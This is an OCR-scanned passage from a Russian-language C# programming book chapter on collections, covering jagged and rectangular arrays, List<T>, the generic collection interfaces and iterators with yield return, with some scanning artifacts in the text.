с син- таксисом доступа к элементам зубчатого массива; например, если мы запишем arrays [1] [3], будет извлечен второй по счету массив из пяти, азатем четвертый элемент из второго массива. Кстати говоря, это неспе- циализированный синтаксис — здесь не требуется специализированная обработка, поскольку индекс в квадратных скобках может стоять после любого выражения, вычисление которого дает массив. Вычисление вы- ражения arrays [1] дает массив типа int [ ]; таким образом, мы вполне можем записать далее [ 3 ]. ' 236
Коллекции Однако ключевое слово new'Bce же применяет к зубчатым массивам особую обработку, поскольку для того, чтобы обеспечить единообра- зие с синтаксисом доступа к элементам массива, приходится прибег- нуть к некоторым ухищрениям. В случае одномерного массива шаблон конструирования выглядит как new ТипЭлементов[длина], поэтому для создания массива из пяти объектов, по-видимому, следует записать new ТипЭлементов [ 5 ]. Если создаваемые объекты являются массивами элементов типа int, то не нужно ли заменить ТипЭлементов на int [ ] ? Это подразумевает, что синтаксис должен выглядеть как new int [ ] [5]. Несмотря на всю логичность такого синтаксиса, создается впечат- ление, что он развернут задом наперед, и причиной этого служит тр> что инвертированным, по сути, является сам синтаксис типа массивов. Массивы — конструируемые типы данных, как и обобщенные типы. В случае обобщенных типов имя такого типа, из которого конструиру- ется результирующий тип, ставится перед аргументом типа (например, List<int> конструируется из List<T> с помощью аргумента типа int). Если бы такой же синтаксис использовался и для массивов, то тип од- номерного массива записывался бы как array<int>, двумерного — как array<array<int>> и т. д., то есть тип элементов стоял бы после части выражения, указывающей, что нам требуется массив. Однако на прак- тике типы массивов записываются наоборот — на то, что это массивы, указывают символы [ ], а тип элементов стоит перед ними. Именно по- тому и выглядит неправильным описанный выше логически коррект- ный синтаксис конструирования массива. Во избежание этой «непра- вильности» C# просто помещает размер туда, где его ожидает увидеть большинство разработчиков, а не туда, где он, возможно, должен стоять согласно логике. Хотя C# не определяет никакого конкретного ограничения на количество измерений массива, некоторые специфичные для реализации ограничения среды выполнения все же существу- ют. (Компилятор компании Microsoft не стал увиливать, когда я попросил его создать зубчатый массив с 10 000 измерений, однако среда CLR отказалась загружать полученную в резуль- тате программу. На самом деле среда CLR откажется загру- жать программу уже при 4000 измерений,, и даже при 1000 измерений возможны проблемы производительности.) Син- таксис расширяется очевидным образом — например, как int[] [] [] для имени типа и new int [5] [] [] для конструирова- ния типа. 237
Глава 5 В листинге 5.19 выполняется инициализация массива из пяти одно- мерных массивов типа int [ ]. Компоновка данного кода ясно показыва- ет, почему такие массивы называют зубчатыми: они содержат строки разной длины. На массив массивов не налагается требование обладать прямоугольной компоновкой. Если пойти еще дальше, получится сле- дующее. Поскольку массивы являются ссылочными типами, некоторые строки можно было установить в null. Если б я отказался от синтаксиса инициализатора массива и инициализировал элементы по-отдельности, то некоторые из одномерных массивов int [ ] можно было бы поместить сразу в несколько строк. Поскольку каждая строка в данном зубчатом массиве содержит массив, в итоге я получил шесть объектов — пять массивов типа int [) и массив типа int [ ] [ ], содержащий ссылки на них. Если вы увеличите количество измерений, вы получите еще больше массивов. При выпол- нении определенных видов работ непрямоугольность массивов и боль- шое количество объектов могут вызывать проблемы; именно поэтому C# поддерживает еще один вид многомерных массивов. Прямоугольные массивы Прямоугольный массив — это единый объект массива, который под- держивает многомерную индексацию. Если бы C# не предлагал много- мерные массивы, мы могли бы создать что-либо подобное сами, придер- живаясь определенного соглашения. Например, если требуется массив с 10 строками и 5 столбцами, то можно создать экземпляр одномерного массива с 50 элементами и выполнять доступ к нему, используя код вида myArray [ i + (5 * j) ], где i — индекс столбца, a j — индекс строки. Такой массив будет двумерным лишь в вашем представлении, в действитель- ности являясь одним большим непрерывным блоком. Прямоугольный массив, по сути, реализует аналогичную концеп- цию, с тем отличием, что всю необходимую работу за вас делает С#. Как выполняется объявление и конструирование прямоугольных массивов, демонстрирует листинг 5.20. Прямоугольные массивы не только удобны, но и обладают Л аспектом безопасности типов. Тип int [, J отличается от типа 5**'' int [ ] или типа int [,, ], поэтому если вы напишете метод, при- нимающий двумерный прямоугольный массив, C# не позво- лит передать ему что-либо другое. 238
Коллекции Листинг 5.20. Прямоугольные массивы int[, ] grid = new int[5, 10]; _ var smallerGrid = new int[,] { { L 2, 3, 4 }, { 2, 3, 4, 5 }, { 3, 4, 5, 6 }, 1; Как вы можете убедиться, имя типа прямоугольного массива содер- жит только одну пару квадратных скобок, независимо от того, сколько измерений поддерживает такой массив. Количество измерений указы- вается при помощи запятых внутри квадратных скобок; так, приведен- ные здесь имена типов с одной запятой в скобках обозначают двумер- ные массивы. Синтаксис инициализатора при этом очень напоминает синтаксис зубчатых массивов (см. листинг 5.19) лишь с тем отличием, что в начале каждой строки не ставится new [ ], поскольку в данном слу- чае мы имеем дело с одним большим массивом, а не с массивом мас- сивов. Числа в листинге 5.20 выстраиваются в виде прямоугольника, и если попытаться сделать массив зубчатым, используя строки переменной длины, компилятор выдаст сообщение об ошибке. Этот принцип рас- пространяется и на большее количество измерений. Если, к примеру, вам нужен трехмерный «прямоугольный» массив, то он должен быть кубическим. Пример кубического массива демонстрирует листинг 5.21. Приведенный в этом примере инициализатор можно рассматривать как список из двух прямоугольных слоев, которые вместе составляют ку- бический массив. Можно пойти еще дальше, и создать гиперкубический массив (хотя, невзирая на количество измерений, такие массивы тоже называют «прямоугольными»). Листинг 5.21. Кубический «прямоугольный» массив 2x3x5 var cuboid = new int [,, ] { { { 1, 2, 3, 4, 5 }, { 2, 3, 4, 5, 6 }, { 3, 4, 5,6,7} ), { 239
Глава 5 { 2, 3, 4, 5, 6 }, { 3, 4,.5, 6, 7 }, { 4, 5, 6, 7, 8 } }, }; j Для доступа к прямоугольным массивам используется достаточно) предсказуемый синтаксис. Если вторая переменная из листинга 5.20 находится в области видимости, то для доступа к последнему элемен- ту в этом массиве можно применить выражение smallerGrid[2, 3]; как и в одномерных массивах, отсчет индексов начинается с нуля, поэто- му данное выражение будет ссылаться на четвертый элемент в третьей строке. Помните о том, что свойство Length такого массива возвращает общее количество элементов в массиве. Поскольку прямоугольные массивы хранят все элементы вместе (а не содержат ссылки на другие массивы), данное свойство возвращает произведение размеров всех измерений. Например, у прямоугольного массива с 5 строками и 10 столбцами зна- чение свойства Length будет равно 50. Если требуется узнать размер некоторого конкретного измерения на этапе выполнения, используйте метод Gettength, принимающий один аргумент типа int — размер какого измерения вам необходимо узнать. Копирование и изменение размера Иногда бывает необходимо переместить некоторые блоки данных внутри массива. Например, вам может потребоваться вставить элемент в середину массива, сместив все последующие на одну позицию вперед (что приведет к потере последнего элемента, поскольку размеры масси- ва являются фиксированными). У вас также может возникнуть необхо- димость перенести данные из одного массива в другой, не исключено даже с отличающимися размерами. Статический метод Array.Сору принимает ссылки на два масси- ва вместе с числом, указывающим, сколько элементов нужно скопи- ровать. Данный метод также предлагает перегрузки, позволяющие указать, с какой позиции в каждом из массивов необходимо начать копирование (более простая версия метода выполняет копирование, начиная с первого элемента каждого массива). Допускается передача одного и того же массива в качестве и исходного, и целевого. При этом 240
Коллекции будет корректно обработано любое наложение элементов: копирова- ние производится так, как если бы сначала все элементы копировались в место временного хранения, и лишь затем записывались в целевой массив. Наряду со статическим методом Сору, в классе Array опреде- 4 *лен нестатический метод СоруТо, который копирует весь мас- —1_дЬ?сив в целевой массив с указанным смещением от начала. Наличие данного метода объясняется тем, что все массивы реализуют определенные интерфейсы коллекций, включая интерфейс iCollection<T> (где т является типом элементов массива), который определяет данный метод СоруТо. Метод СоруТо не гарантирует корректной обработки случаев наложе- ния элементов, так что когда вы знаете, что предстоит иметь дело с массивом, документация рекомендует использовать метод Array.Сору — а СоруТо следует применять только для универсального кода, предназначенного для работы с любой реализацией интерфейса коллекции. Одной из причин для копирования элементов из массива в массив может являться необходимость работы с переменным объемом дан- ных. В таком случае, как правило, следует разместить в памяти массив большего, чем это первоначально необходимо, размера; если же будет заполнен и он, вам потребуется создать новый, более крупный массив, и скопировать в него содержимое старого. В действительности, в слу- чае одномерного массива класс Array может выполнить эту работу за вас с помощью метода Resize. Имя Resize {англ, изменять размер) немного не соответствует действительности: размер массива нельзя изменить, потому на самом деле метод размещает в памяти новый массив и копи- рует в него данные из старого. Метод Resize может создавать массивы как большего, так и меньшего размера; если создается массив меньшего размера, метод просто копирует столько элементов, сколько в нем по- мещается. Говоря о методах для копирования данных внутри массива, стоит упомянуть и о методе Reverse, который просто меняет порядок следо- вания элементов массива на обратный. В тех случаях, когда требуется жонглировать размером массива, часто бывает полезным и метод Array. Clear, хотя, строго говоря, он не выполняет копирование — а лишь по- зволяет сбросить некоторый диапазон элементов массива к их первона- чальному нулеподобному состоянию. 241
Глава 5 Описанные выше методы для перемещения данных внутри массива полезны и для построения более гибких структур данных поверх пред- лагаемых массивами базовых служб. Однако вам редко потребуется соз- давать такие структуры самостоятельно, поскольку это уже сделано за вас в нескольких удобных классах коллекций, которые предлагает би- блиотека классов .NET. Класс List<T> Класс List<T>, определенный в пространстве имен System. Collections.Generic, содержит последовательность элементов типа Т с переменной длиной. Данный класс предоставляет индексатор, позво- ляющий извлекать и устанавливать значения элементов по их номеру, и потому ведет себя как массив с изменяемым размером. Хотя нельзя сказать, что массивы и списки полностью взаимозаменяемы — объект типа List<T> нельзя передать в качестве аргумента для параметра, ожи- дающего массив типа Т [ ], — но и массивы, и тип List<T> реализуют мно- го общих интерфейсов обобщенных коллекций, которые будут рассмо- трены чуть позже. Например, если вы напишете метод, принимающий интерфейс IList<T>, то этот метод сможет работать как с массивами, так и с типом List<T>. Хотя использующий индексатор код напоминает таковой для 4 доступа к элементам массива, это не совсем одно и то же. Я?*' Индексатор представляет собой разновидность свойства, так что при его использовании с изменяемыми значимыми типа- ми возникают те же проблемы, которые мы обсуждали в гла- ве 3. Если у вас есть переменная pointList типа List<Point> (где Point — изменяемый значимый тип из пространства имен System.Windows), вы не можете написать pointList [2] .X = 2, по- скольку pointList [2] возвращает копию значения, и, таким об- разом, данный код пытается модифицировать эту временную копию. Поскольку подобное привело бы к потере обновления, C# не допускает выполнения этого кода. Однако при исполь- зовании с массивами такой код будет вполне допустим. Если переменная pointArray принадлежит к типу Point[], то выра- жение pointArray[2] будет не извлекать, а идентифицировать элемент, что позволит модифицировать его значение прямо на месте, записав pointArray [2] .х = 2. При использовании не- изменяемых значимых типов данное различие имеет чисто 242
Коллекции теоретический характер, поскольку изменение значений на месте не допускается в любом случае — независимо от того, используете ли вы массив или список, потребуется перезапи- сать старое значение элемента новым. В отличие от массива, класс List<T> предоставляет методы для изме- нения своего размера. Методы Add и AddRange добавляют, соответствен- но, один и несколько новых элементов в конец списка. Методы Insert и insertRange позволяют добавить один и несколько элементов в любом месте списка с перемещением расположенных после точки вставки на необходимое количество позиций вперед. Каждый из этих четырех ме- тодов делает список длиннее, однако класс List<T> также предоставляет метод Remove, который удаляет первое вхождение указанного значения; метод RemoveAt, удаляющий элемент с конкретным индексом; и метод RemoveRange, удаляющий несколько элементов, начиная с конкретного индекса. Каждый из этих методов смещает элементы к началу списка, чтобы сомкнуть образовавшийся после удаления элементов разрыв, и тем самым делают список короче. Для внутреннего представления своих элементов класс List<T> использует массив, то есть все элементы хранятся в одном непрерывном блоке памяти. Это обеспечивает высо- кую эффективность обычного доступа к элементам, но также и объясняет, почему при вставке требуется сдвигать элементы вперед, чтобы освободить необходимое пространство, а при удалении — сдвигать их назад, чтобы сомкнуть разрыв. Как создается объект класса List<T>, показано в листинге 5.22. По- скольку это обычный класс, используется обычный синтаксис кон- структора. Пример демонстрирует добавление и удаление элементов, а также доступ к элементам с применением синтаксиса индексатора, на- поминающего доступ к массивам. Здесь также видно, что свой размер класс List<T> предоставляет через свойство Count, имя которого про- извольным образом отличается от имени свойства Length, каковое для аналогичной цели используют массивы. (В действительности массивы тоже предлагают свойство Count, поскольку они реализуют интерфейсы ICollection и ICollection<T>. Однако при этом используется явная реа- лизация интерфейсов, то есть свойство Count массивов можно просмо- треть только через ссылку на один из этих типов интерфейсов.) 243
Глава 5 Листинг 5.22. Использование класса List<T> var numbers = new List<int>(); numbers.Add(123); numbers.Add(99) ; numbers.Add(42) ; Console.WriteLine(numbers.Count); Console.WriteLine("{0}, {1}, {2}”, numbers[0], numbers[l], numbers[2]); numbers[1] += 1; Console.WriteLine(numbers[1]); numbers.RemoveAt(1); Console.WriteLine(numbers.Count); Console.WriteLine("{0}, {1}", numbers[0], numbers[l]); Поскольку список может по мере необходимости увеличиваться или уменьшаться, при создании экземпляра этого типа не требуется указы- вать его размер. Однако при желании вы можете указать его емкость. Емкость списка — количество элементов, которое может вместить спи- сок, и зачастую эта цифра отличается от числа реально содержащихся там элементов. Чтобы избежать размещения в памяти нового внутрен- него массива при каждой операции добавления или удаления, количе- ство используемых элементов отслеживается независимо от размера массива. Когда возникает нужда в дополнительном пространстве, вы- полняется повторное выделение памяти с созданием массива, который будет больше, чем необходимо, в пропорциональное размеру количество раз. Это означает, что когда программа многократно добавляет элемен- ты в список, чем больше он становится, тем реже требуется выделять память для нового массива, однако пропорция незанятой емкости после каждой операции выделения памяти остается примерно одинаковой. Если заранее известно, что в конечном итоге список будет содер- жать некоторое конкретное число элементов, можно передать это число в конструктор, и он выделит память для списка с именно такой емко- стью, подразумевая, что повторное выделение памяти не потребуется. Кстати говоря, если вы неверно укажете данное значение, это не при- ведет к ошибке — вы просто запрашиваете начальную емкость и вполне можете передумать позднее. Если вам неприятна сама мысль о том, что незанятая память списка будет растрачена впустую, и в то же время вы не знаете заранее, сколько в точности места займет список, вы можете вызвать метод TrimExcess после того, как список-будет завершен. Этот метод заново выделяет па- мять для внутреннего представления данных, делая ее размер лишь до- 244
Коллекции статочным для того, чтобы вместить текущее содержимое списка, и тем самым исключая расходование памяти без пользы. Однако это далеко не всегда ведет к экономии ресурсов — в некоторых сценариях затраты на дополнительную операцию выделения памяти могут быть выше, чем затраты, связанные с наличием какой-то неиспользуемой емкости. Списки предоставляют и третий конструктор. Наряду с конструк- тором по умолчанию и конструктором с указанием емкости можно ис- пользовать и такой, который принимает коллекцию данных для ини- циализации списка. Допускается передавать любой тип, реализующий интерфейс IEnumerable<T>. Для предоставления начального содержимого списка используется синтаксис, сходный с таковым инициализатора массива. Код в листин- ге 5.23 загружает в новый список те же три значения, которые добав- лялись в начале листинга 5.22. Можно применить только эту форму; в отличие от массивов, здесь нельзя опускать часть new List<int>, когда тип данных явно указывается в объявлении переменной (то есть когда не используется ключевое слово var). Также компилятор не выполняет и выведение аргумента типа; если в случае массивов разрешено просто записать new [ ] и разместить далее инициализатор, то здесь вы не можете записать new Listo. Листинг 5.23. Инициализатор списка var numbers = new List<int> { 123, 99, 42 }; Данный пример откомпилируется в код, который будет вызывать метод Add по одному разу для каждого элемента списка. Этот синтаксис можно использовать для любого типа, предоставляющего подходящий метод Add и реализующего интерфейс lEnumerable. Класс List<T> также предоставляет методы IndexOf, LastlndexOf, Find, FindLast, FindAll, Sort и Binary для поиска и сортировки элементов списка. Данные методы предоставляют те же службы, что и одноимен- ные методы массивов, несмотря на то что класс List<T> предоставляет их как экземплярные, а не как статические методы. Таким образом, мы уже познакомились с двумя способами представ- ления набора значений: с массивами и списками. К счастью, интерфей- сы позволяют написать код, который будет работать как с первыми, так и со вторыми; таким образом, вам не потребуется создавать два набора функций при необходимости поддержать оба этих вида коллекций. 245
Глава 5 Интерфейсы списков и последовательностей В библиотеке классов .NET Framework определен ряд интер- фейсов для представления коллекций. Три из них иметбт отноше- ние к таким линейным последовательностям, которые можно разме- щать в массиве или списке: это интерфейсы IList<T>, ICollection<T> и IEnumerable<T>, все три из пространства имен System.Collections. Generics. Наличие трех интерфейсов объясняется тем, что разный код предъявляет разные требования. Есть методы, нуждающиеся в слу- чайном доступе к любому пронумерованному элементу коллекции, однако не все коллекции поддерживают эту возможность — некото- рые из них выдают элементы последовательно, и не предоставляют никакого способа сразу перейти к n-му элементу. Для примера можно взять последовательность, представляющую нажатия клавиш, — каж- дый элемент в ней появляется лишь после того, как пользователь на- жмет следующую клавишу. Если вы остановите свой выбор на менее требовательных интерфейсах, ваш код сможет работать с более широ- ким набором источников. Наиболее универсальным из интерфейсов коллекций является IEnumerable<T>, поскольку он предъявляет меньше всего требований к реализующим его типам. Я уже неоднократно упоминал о нем по при- чине его важности и широкого использования, однако как выглядит его определение, я показываю лишь сейчас. Как демонстрирует листинг 5.24, данный интерфейс объявляет только один метод. Листинг 5.24. Интерфейсы IEnumerable<T> и lEnumerable public interface IEnumerable<out T> : lEnumerable { IEnumerator<T> GetEnumerator(); I public interface lEnumerable { lEnumerator GetEnumerator(); } Используя наследование, интерфейс IEnumerable<T> требует, чтобы реализующие его типы также реализовывали интерфейс lEnumerable, который являетея практически идентичным первому. Этот интерфейс представляет собой необобщенную версию IEnumerable<T>, и его метод 246
Коллекции GetEnumerator обычно лишь вызывает обобщенную реализацию. Нали- чие двух вариантов интерфейса объясняется тем, что необобщенный lEnumerable был введен в версии 1.0 платформы .NET, которая не под- держивала обобщения. Появление обобщений в .NET 2.0 позволило выразить стоящие за интерфейсом lEnumerable идеи более точно, однако при этом потребо- валось оставить старый интерфейс для обеспечения совместимости. Таким образом, оба они, по сути, требуют одно и то же: им необходим метод, возвращающий перечислитель. Что же представляет собой пере- числитель? Листинг 5.25 демонстрирует как обобщенную, так и необоб- щенную версии этого интерфейса. Листинг 5.25. Интерфейсы IEnumerator<T> и lEnumerator public interface IEnumerator<out T> : IDisposable, lEnumerator { T Current { get; } I public interface lEnumerator { bool MoveNext () ; object Current { get; } void Reset (); I Модель работы интерфейса IEnumerable<T> (как и lEnumerable) вы- глядит следующим образом: вызвав метод GetEnumerator, вы получаете перечислитель, позволяющий выполнять обход всех элементов коллек- ции. Затем вызывается метод MoveNext (), и если он возвращает значение false, это означает, что коллекция является пустой. В противном случае после его выполнения в свойстве Current становится доступным первый элемент коллекции. Затем снова вызывается метод MoveNext () для пере- хода к следующему элементу, и до тех пор, пока этот метод возвращает значение true, после его выполнения следующий элемент становится доступным в свойстве Current. 0братитевнимание,чтореализацииинтерфейса1Епитега^г<т> 4 ш должны реализовывать интерфейс IDisposable. По окончании ОУ работы с перечислителем вам следует вызвать метбд Dispose, поскольку для многих перечислителей это является необхо- димым. 247
Глава 5 Всю эту работу в С#, включая генерирование кода, вызывающей метод Dispose даже в случае преждевременного выхода из цикла по при чине ошибки, делает за вас цикл foreach. На самом деле он не требуя реализации никакого конкретного интерфейса; он будет использовал любую коллекцию с методом GetEnumerator, который возвращает объ ект, предоставляющий метод MoveNext и свойство Current. Интерфейс IEnumerable<T> лежит в основе технологии LINQ К Objects, ее мы обсудим в главе 10. Операторы LINQ доступны для лк> бого объекта, который реализует данный интерфейс. Несмотря на всю важность и широкое использование интерфейса IEnumerable<T>, с его помощью можно сделать не так уж много. Он по- зволяет запрашивать элементы лишь один за другим, и передает их вал в том порядке, какой он находит нужным. Он не предоставляет никако- го способа модифицировать коллекцию или хотя бы узнать количестве содержащихся в ней элементов без необходимости обходить ее целиком Для решения таких задач у нас есть интерфейс ICollection<T>, пред- ставленный в листинге 5.26. Листинг 5.26. Интерфейс lCollection<T> public interface ICollection<T> : IEnumerable<T>, lEnumerable { void Add(T item); void Clear(); bool Contains(T item); void CopyTo(T[] array, int arrayindex); bool Remove(T item); int Count { get; } bool IsReadOnly { get; } } Интерфейс ICollection<T> требует, чтобы реализующие его типи также предоставляли интерфейс IEnumerable<T>, однако обратил внимание, что у него нет прямой связи с необобщенным интерфей сом ICollection. Такой интерфейс существует, но он представляя несколько иную абстракцию: у него нет ни одного метода интерфей са ICollection<T>, за исключением СоруТо. При введении обобщенш компания Microsoft пересмотрела способ использования всех необоб щенных типов коллекций и пришла к выводу, что один дополнители ный метод, которым обладал старый интерфейс ICollection, недели 248
Коллекции мот интерфейс намного полезнее, чем интерфейс lEnumerable. Что «е хуже, данный интерфейс также обладал свойством SyncRoot, кото- рое было призвано облегчить работу в определенных многопоточных денариях, но на деле плохо справлялось с этой задачей. Поэтому аб- оракция, которую представлял интерфейс iCollection, не получила обобщенный эквивалент, и никто сильно не пожалел о его отсутствии. Пересматривая типы коллекций, компания Microsoft также обнаружи- ла, что серьезную проблему на тот момент представляло отсутствие универсального интерфейса для модифицируемых коллекций, и пото- му в качестве такового был создан интерфейс ICollection<T>. Приме- вение старого имени для другой абстракции немного сбивает с толку, однако поскольку старый необобщенный интерфейс ICollection почти никто не использовал, нельзя сказать, что это доставило кому-то много неприятностей. Третьим интерфейсом последовательных коллекций является IList<T>. Все реализующие его типы должны реализовывать интерфейс ICollection<T> и потому также IEnumerable<T>. Как вы, возможно, уже предположили, интерфейс lList<T> реализуется классом List<T>. Кроме того, его реализуют массивы, используя тип своих элементов в качестве аргумента для параметра Т. Как выглядит этот интерфейс, демонстриру- ет листинг 5.27. Листинг 5.27. Интерфейс iList<T> public interface IList<T> : ICollection<T>, IEnumerable<T>, lEnumerable ( int IndexOf (T item); void Insert (int index, T item); void RemoveAt(int index); I this[int index] { get; set; ) I Опять же, у него нет прямой связи с необобщенным интерфейсом Hist, даже несмотря на то что оба представляют сходные концепции — у необобщенного iList есть члены, равнозначные таковым интерфей- са lList<T>, а также эквиваленты для большинства членов интерфейса ICollection<T>, включая все, отсутствующие в интерфейсе ICollection. Таким образом, в принципе, можно было бы потребовать, чтобы реали- яции интерфейса lList<T> также реализовывали и IList, однако это привело бы к тому, что они предоставляли бы две версии каждого чле- на, одна из которых работала бы в терминах параметра типа Т, а вторая 249
Глава 5 использовала тип object, поскольку именно такой тип использовал старые необобщенные интерфейсы. Это также заставило бы коллекцш предоставлять бесполезное свойство SyncRoot. Преимущества не пере вешивали бы неудобства, и потому реализации интерфейса IList<T> не обязаны реализовывать iList. При необходимости они могут егореали’ зовать, как, например, это делает тип List<T>, однако выбор всегда оста’ ется за отдельным классом коллекции. Немного неприятным следствием того, как организованы отноше ния трех обобщенных интерфейсов, является то, что они не предостав- ляют абстракции для представления индексированных коллекций, до- ступных только для чтения, или хотя бы коллекций с фиксированным размером. Интерфейс IEnumerable<T> является абстракцией, доступной только для чтения, но это неупорядоченная коллекция, не предостав- ляющая никакого способа для перехода прямо к n-му элементу. Что ка- сается индексирования, то до выхода .NET 4.5 единственным вариантом был интерфейс lList<T>, однако он требует наличия методов вставки и удаления по индексу, а также предписывает реализацию интерфей- са ICollection<T> с его методами добавления и удаления по значению. Поэтому может вызвать удивление, как же эти интерфейсы способны реализовывать массивы, принимая во внимание тот факт, что все масси- вы обладают фиксированной длиной. Массивы используют явную реализацию интерфейса IList<T>, что- бы скрыть те его методы, которые способны изменять длину списка, и тем самым не позволить вам применить их. Однако сохранив ссылку на массив в переменной типа IList<T>, вы можете сделать вышеназван- ные методы видимыми — в листинге 5.28 это осуществляется для того, чтобы вызвать для массива метод IList<T>.Add. Результатом тем не ме- нее будет ошибка времени выполнения. Листинг 5.28. Попытка (неудачная) увеличить массив IList<int> array = new[] {1,2,3}; array.Add(4); // Будет выброшено исключение Метод Add выбросит исключение NotSupportedException, вместе с со- общением об ошибке, информируя вас, что коллекция обладает фик- сированным размером. Если вы заглянете в документацию по интер- фейсам IList<T> и ICollection<T>, вы увидите, что данное сообщениеоб ошибке разрешается выбрасывать всем членам, которые модифицируют коллекцию. 250
Коллекции Это приводит к двум слегка раздражающим проблемам. Во-первых, в версиях ниже .NET 4.5, если требуется использовать индексированную коллекцию без ее модификации, у вас нет никакою способа объявить это и заставить компилятор выдавать сообщения об ошибке в случае ненамеренного написания кода, пытающегося модифицировать кол- лекцию. И даже если вам удастся без помощи со стороны компилятора успешно справиться с задачей, остается вторая проблема: если требует- ся, наоборот, написать код, требующий модифицируемую коллекцию, у вас нет никакого способа сообщить и об этом факте. Если метод при- нимает объект типа IList<T>, то сложно определить, попытается ли он изменить размер списка или нет. Ошибки в ответе на данный вопрос приводят к исключениям времени выполнения, которые могут появить- ся и в коде, делающем все правильно, когда ошибка — передача непод- ходящего вида коллекции — совершается вызывающей программой. Названные проблемы тем не менее не являются камнем преткновения; в языках с динамической типизацией такая степень неопределенности на этапе компиляции фактически считается нормой, однако это не ме- шает разработчикам создавать хороший код. Хотя существует класс ReadOnlyCollection<T> {англ, коллекция только для чтения), как мы увидим позже, он служит для решения не- сколько иной задачи — это оберточный класс, а не интерфейс, и потому очень многие коллекции с фиксированным размером не являются типом ReadOnlyCollection<T>. Таким образом, если вы напишете метод с пара- метром типа ReadOnlyCollection<T>, он не сможет напрямую работать с некоторыми видами коллекций (включая массивы). В любом случае, это даже не одна и та же абстракция — доступность только для чтения является более строгим ограничением, чем фиксированный размер. В .NET 4.5 был добавлен новый интерфейс, IReadOnlyList<T>, кото- рый обеспечивает более удачное решение этих проблем. Как и IList<T>, он требует реализации интерфейса IEnumerable<T>, но в то же время не нуждается в реализации интерфейса ICollection<T>. Он определяет два члена: свойство Count, которое возвращает размер коллекции (совсем как свойство ICollection<T>. Count), и доступный только для чтения индексатор. Это снимает большую часть вопросов, связанных с исполь- зованием интерфейса IList<T> для коллекций, доступных только для чтения. Единственной проблемой является то, что поскольку это новый интерфейс, он поддерживается не столь широко. Таким образом, если вы встретите API-интерфейс, который требует реализации интерфейса IReadOnlyList<T>, вы можете быть уверены в том, что он не попытается 251
Глава 5 модифицировать коллекцию, однако если API-интерфейс требует реали- зации интерфейса IList<T>, то трудно сказать, в чем причина: в том, что данный API-интерфейс будет модифицировать коллекцию, или лишь в том, что его написали до появления интерфейса IReadOnlyList<T>. Конечно, для того чтобы реализовать интерфейс iReadOnlyList<T>, коллекции не обязательно должны быть до- Я} ступными только для чтения — доступный только для чтения «фасад» вполне может предоставляться и модифицируемым списком. Потому этот интерфейс реализуют все массивы, а также тип List<T>. После обсуждения всех описанных выше проблем и интерфейсов воз- никает следующий вопрос: какой же тип все-таки следует использовать при написании кода или классов для работы с коллекциями? В типичном случае вы обеспечите наибольшую гибкость, если ваш API-интерфейс бу- дет требовать наименее конкретизированный тип из тех, с которыми он может работать. Например, если ваши задачи позволяет удовлетворить интерфейс IEnumerable<T>, не требуйте интерфейс IList<T>. Подобным же образом, обычно лучше использовать интерфейсы, а не точно задан- ные типы, поэтому типу List<T> или Т [ ] следует предпочесть интерфейс IList<T>. Доводы в пользу более конкретизированного типа могут воз- никать лишь иногда и обусловливаться вопросами производительности. При обработке содержимого коллекции с помощью короткого цикла, критичного к общей производительности приложения, вы можете обна- ружить, что такой код сможет работать быстрее, если будет обрабатывать только типы массивов, поскольку среда CLR способна лучше выполнять оптимизацию, когда она точно знает, что ей следует ожидать. Однако во многих случаях такая разница будет слишком малозаметной, и не смо- жет служить оправданием неудобствам, связанным с невозможностью использовать классы коллекций. Потому такой шаг никогда не стоит предпринимать, не измерив производительность рассматриваемой зада- чи и не оценив, какое преимущество при этом можно получить. Поскольку простые линейные списки являются не единственным видом коллекций, существуют- и другие интерфейсы обобщенных кол- лекций, помимо тех трех, которые мы сейчас рассмотрели. Однако пре- жде чем перейти к этим другим интерфейсам, я хотел бы взглянуть на перечислимые типы и списки с обратной стороны и поговорить о том, как они реализуются. 252
Коллекции Реализация списков и последовательностей Часто бывает удобно предоставлять информацию в виде объекта типа IEnumerable<T> или IList<T>. Последний тип при этом особенно ва- жен, поскольку платформа .NET Framework предоставляет мощный чем мы поговорим в главе 10. Все операторы LINQ работают в терминах интерфейса IEnumerable<T>. Интерфейс IList<T> предоставляет абстракцию, которая будет полезна везде, где требуется случайный доступ к любому элементу по его индексу. Так, тип lList<T> ожидают некоторые фреймворки. Например, в случае, когда требуется привязать коллекцию объектов к элементу управления списком, некоторые фреймворки пользовательского интерфейса будут ожидать объект типа IList или IList<T>. Несмотря на то что эти интерфейсы можно реализовать и вручную, поскольку ни один из них не является слишком сложным, C# и библио- тека классов .NET Framework могут существенно облегчить работу. C# предоставляет непосредственную поддержку на уровне языка для реа- лизации интерфейса IEnumerable<T>, а библиотека классов — поддержку для обобщенных и необобщенных интерфейсов списка. Итераторы C# поддерживает особую форму метода, называемую итератором. Это метод, который выдает перечислимые последовательности, приме- няя для этого специальное ключевое слово yield. Пример простого ите- ратора и использующего его кода демонстрирует листинг 5.29. Данный код выводит числа от 1 до 5. Листинг 5.29. Простой итератор public static IEnumerable<int> Numbers (int start, int count) ( for (int i = 0; i < count; ++i) yield return start + i; ) static void Main (string [] args)
Глава 5 { foreach (int i in Numbers(1, 5)) { Console.WriteLine(i); I } Итератор выглядит почти как обычный метод, но отличается своим способом возвращения значений. Несмотря на то что возвращаемый тип итератора в листинге 5.29 относится к IEnumerable<int>, он не возвраща- ет значений этого типа. Он не содержит обычную инструкцию return, а только инструкцию yield return, и она возвращает не коллекцию, а единичное значение типа int. Итераторы выдают значения по одно- му за раз, используя инструкции yield return, и, в отличие от обычной инструкции return, после этого метод продолжает свою работу — он за- вершает ее лишь тогда, когда доходит до конца либо решает прервать- ся преждевременно, используя инструкцию yield break или выбросив исключение. Это очень ярко демонстрирует листинг 5.30. Каждая ин- струкция yield return выдает одно значение последовательности, по- тому данный код возвратит числа от 1 до 3. Листинг 5.30. Еще более простой итератор public static IEnumerable<int> ThreeNumbers () { yield return 1; yield return 2; yield return 3; } Несмотря на всю простоту концепции, работает она довольно сложно, поскольку код в итераторах выполняется не так, как остальной код. Как вы, возможно, помните, при использовании интерфейса IEnumerable<T> за то, когда будет извлечено следующее значение, отвечает вызывающая программа. Цикл foreach получает перечислитель, а затем раз за разом вызывает метод MoveNext(), пока последний не возвратит значение false; причем текущее значение предоставляет свойство Current. Каким же образом в эту модель вписывается код из листингов 5.29 и 5.30? Пер- вой приходит мысль, что все возвращаемые итератором значения C# со- храняет в объекте типа List<f>, возвращая его по завершении работы итератора, однако можно легко убедиться, что это не так, написав бес- конечный итератор, подобный тому, что представлен в листинге 5.31. 254
